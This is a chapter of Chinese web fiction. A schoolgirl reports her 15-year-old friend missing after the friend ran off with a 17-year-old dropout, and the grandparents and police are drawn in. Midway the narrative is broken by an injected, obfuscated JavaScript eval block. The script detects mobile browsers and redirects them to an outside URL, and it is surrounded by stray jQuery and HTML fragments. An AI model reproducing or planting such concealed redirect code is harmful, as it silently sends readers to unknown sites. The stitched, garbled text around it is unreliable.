林雨在办公室门口站了整整十秒。
她不知道自己该怎么说。说林小满不见了？说她可能跟那个男的走了？说她昨晚根本没来自己家？
她深呼吸，敲门。
“进来。”
班主任正在批作业，抬头看见是她，愣了一下：“林雨？怎么了？”
“老师，林小满……不见了。”
班主任手里的红笔停下来。
“什么叫不见了？”
“她昨晚没回家，她给我发消息说去我那儿住，但她根本没来。我今天打她电话，一直关机，打了几十个，都是关机。”
班主任站起来，脸色变了。
“你等一下。”
她拿起手机，拨了个号码。响了很久，没人接。再拨，还是没人接。
“她奶奶的电话，没人接。”班主任放下手机，看着林雨，“你知道她去哪了吗？知道跟谁在一起吗？”
林雨低下头，不说话。
“林雨。”
她还是不说话。
班主任绕到桌子前面，站在她面前，声音放轻了：“你要是知道什么，现在必须说。这不是小事，她一个十五岁的小孩，一夜没回家，电话打不通，你知道这意味着什么吗？”
林雨抬起头，眼眶红了。
“她……她跟一个男的。叫周深，十七岁，没上学了，在校外混的。”
“你怎么不早说？”
“她不让说。她说说了就没朋友做了。”
班主任深吸一口气，拿起手机又拨了个号码。这回接通了。
“喂，林小满奶奶吗？我是她班主任。您别急，听我说，小满昨晚是不是没回家？……对，她也没去同学家。您能来学校一趟吗？我们得商量一下怎么办。”
挂掉电话，班主任看着林雨：“你在这儿等着，哪儿也别去。”
林雨点点头。
二十分钟后，林小满的爷爷奶奶到了。
奶奶腿脚不好，走得很慢，爷爷扶着她。两个人脸上都是汗，眼神慌慌张张的，一进办公室就问：“老师，小满呢？小满在哪？”
“奶奶您先坐，别急。”
“怎么能不急？一晚上没回来，电话打不通，我打了二十多个，二十多个啊！”奶奶的声音抖得厉害，“她从来不会这样的，从来不会的……”
爷爷在旁边站着，不说话，手一直在抖。
林雨看着他们，突然觉得胸口堵得慌。她想起林小满说过的话：“他们给我买汉堡，买奶茶，买包子。他问我饿不饿，他给我倒水喝。你知道我爸妈上次问我饿不饿是什么时候吗？我不记得了。”
她现在想说，你爷爷奶奶也问你饿不饿的，你知不知道？
但她没说。
“奶奶，您先别急，我们把情况捋一捋。”班主任把手机拿出来，“您最后一次联系她是什么时候？”
“昨天中午，她打电话说要去同学家住，说林雨，就是她——”奶奶指着林雨，“说她爸妈不在家，让她去陪陪。我就说行，你注意安全。”
班主任看向林雨。
林雨摇头：“她没来。她昨天下午给我发消息，让我帮她带书包，说去我那儿住。我就以为她真的会来，晚上还等她吃饭，等到八点多打电话，就关机了。”
“那她昨天白天在学校吗？”
“在的，下午还在。第三节课后就不见了，我以为她又……又去找那个男的了。”
“哪个男的？”奶奶问。
林雨不说话。
“哪个男的？”奶奶又问了一遍，声音变了。
班主任看了林雨一眼，替她说了：“奶奶，小满最近在跟一个校外的男生谈恋爱。十七岁，没上学了。我们怀疑她可能跟那个男生在一起。”
奶奶愣住了。
爷爷也愣住了。
“谈……谈恋爱？”奶奶的声音发飘，“她才十五岁，谈什么恋爱？”
“奶奶，现在不是追究这个的时候，关键是找到人。”班主任拿起手机，“我建议报警。”
“报警？”奶奶慌了，“报什么警？她可能就是贪玩，过会儿就回来了……”
“奶奶，她昨晚一夜没回来，电话关机，跟一个社会上的男生在一起。这种情况，必须报警。”
奶奶张了张嘴，说不出话。
爷爷开口了，声音沙哑的：“报吧。”
奶奶看着他。
“报吧。”爷爷又说了一遍，“找回来要紧。”
班主任拨了110。
等警察的时候，办公室里很安静。奶奶坐在椅子上，手攥着衣角，攥得发白。爷爷站在窗边，看着外面，一动不动。林雨缩在角落里，不敢看任何人。
班主任在翻林小满的档案，其实也没什么好翻的，就是些基本信息。父母在外地打工，常年不回家，联系电话那一栏是空的。
她想起那天给林小满助学金的时候，那孩子看她的眼神。
她说不出那是什么眼神。感激？不相信？还是别的什么？
警察来得很快，两个，一男一女。问情况，做笔录。
奶奶把手机掏出来，翻出通话记录：“你看，我打了二十三个，都是关机，关机……”
女警接过手机看了一眼，还给奶奶：“最后一次联系是什么时候？说了什么？”
“昨天中午，她说要去同学家住，就是那个林雨——”
林雨又被指了一遍。她低着头，恨不得把自己缩进墙缝里。
“你知道那个男生叫什么吗？住哪？”
“叫周深。”林雨小声说，“住学校后面那片自建房，哪一栋我不知道。”
“有他照片吗？”
林雨摇头。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347225|199532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
女警在本子上记了几笔，又问：“他们两个在一起多久了？”
“一个多月吧……我不太清楚。”
“你见过那个男生吗？”
“见过几次，在校门口等过她。”
“长什么样？有什么特征？”
林雨努力回忆：“挺高的，头发有点长，经常穿黑衣服……脸上好像有伤，昨天看见他的时候嘴角破了。”
奶奶听到这儿，眼泪一下就下来了。
“破相了？他打她了？”
“不是不是，”林雨赶紧摆手，“不是他打的，是别人打的，具体的我也不知道……”
奶奶不听，只是哭。爷爷走过去，把手搭在她肩上，还是不说话。
女警又问了些问题，记完了，合上本子。
“我们会查的。你们也继续打电话，发消息，如果有消息第一时间联系我们。”
班主任送警察出去，回来的时候，奶奶还在哭。
“奶奶，您先回去休息吧，有消息我们会通知您的。”
“我不回去，”奶奶抹着眼泪，“我就在这儿等。”
“您在这儿等也没用，回去等电话一样。”
“不一样。”
班主任张了张嘴，不知道说什么。
林雨站起来，走到奶奶面前，鞠了一躬。
“奶奶，对不起。”
奶奶抬头看她。
“我应该早点说的。她跟那个男的在一起的事，我应该早点告诉老师的。要是我早点说，就不会……”
她说不下去了。
奶奶看了她一会儿，伸手拍拍她的手背。
“不怪你。”
就这三个字。
林雨眼泪也下来了。
办公室里又安静下来。窗外的天快黑了，路灯还没亮，屋里灰蒙蒙的。
爷爷开口了，还是那种沙哑的声音：“她爸妈那边……要通知吗？”
奶奶愣了一下，没说话。
班主任说：“我建议通知一下。毕竟是父母。”
奶奶沉默了很久，最后点点头。
“那就……通知吧。”
她掏出那个老旧的老人机，翻了好久才翻到号码。手指停在屏幕上，迟迟没有按下去。
林雨看着她那只手，青筋凸起，皮肤皱巴巴的，指甲剪得很短，上面还有洗不掉的泥。
那是种菜种的。
那是洗衣洗的。
那是给林小满做饭做的。
电话拨通了。
“喂，小满爸爸，是我，你妈。”
那头不知道说了什么。
“小满不见了，一夜没回来，跟一个男的跑了。”
那头沉默了几秒，然后传来一个声音，隔着电话，林雨听不清说的什么。
只看见奶奶的手，抖了一下。